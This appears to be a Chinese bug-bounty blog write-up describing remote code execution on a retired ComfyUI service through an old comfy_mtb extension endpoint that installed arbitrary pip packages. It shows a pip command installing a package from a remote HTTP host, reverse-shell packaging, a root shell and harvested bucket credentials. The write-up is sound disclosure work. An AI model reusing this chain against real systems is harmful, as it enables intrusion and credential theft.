Toc
  1. 一个奇怪的废弃资产?
  2. 一个ComfyUI 扩展引起的RCE
  3. 尾声
Toc
0 results found
白帽酱
从一个废弃AI工作流平台拿下生产网 记SRC中的一次 ComfyUI comfy_mtb 插件 RCE
2025/07/08 WEB WEB

一个奇怪的废弃资产?

一天,我正看着刚刚收集的某SRC资产列表,在图标列表里发现了一个从没见过的奇怪图标。

查看了下对应的资产,发现是一个定制的ComfyUI WEB资产 。

UI 功能基本上不全,随便写了个最小化流程执行后端还是返回500

看了下ComfyUI 这个版本的老源码 也没有发现什么能利用的地方。

一个ComfyUI 扩展引起的RCE

ComfyUI有一个API可以列出当前安装的扩展列表

POST /extensions HTTP/1.1
Content-Type: application/json
Host: www.example.com

["/extensions/core/clipspace.js", "/extensions/core/colorPalette.js",......]

站点上安装第三方扩展只有十几个,我马上就把它所使用的扩展全部下载下来进行代码审计

其中有一个扩展引起了我的兴趣

comfy_mtb 扩展上有个API 它可以实现远程安装所需的python依赖

看起来十分的安全 它使用的预制的包白名单

查看了下这个文件的版本历史

https://github.com/melMass/comfy_mtb/commit/d6e004cce2c32f8e48b868e66b89f82da4887dc3

果然 它某个版本前是可以安装任意包的

现在 我们得到了一个可以安装任意pip包的pip命令注入

我们该如何利用他呢?

在公共pip仓库上上传一个恶意包?

不 python其实可以直接安装远程HTTP上的包

python -m pip install http://x.x.x/shell.zip

先nc 测试下目标是否出网

目标返回了一个带完整pip UA的的请求!

其中linux内核版本显示了由某SRC对应公司定制的内核版本名称 进一步确定了目标资产归属

构造一个python tgz包 install.py 内写入反弹shell的py代码

触发安装几秒后 收到了一个root shell

环境变量中存在大量储存桶秘钥等敏感凭据

curl试了下生产网的GIT 和 主站内部API均可正常访问

尾声

提交之后不出意外的这个漏洞被降级了

这个服务主站点在漏洞提交时 已经挂出了服务终止公告 是一个已下线业务的残留服务

本文作者:白帽酱
版权声明:本文首发于白帽酱的博客,转载请注明出处!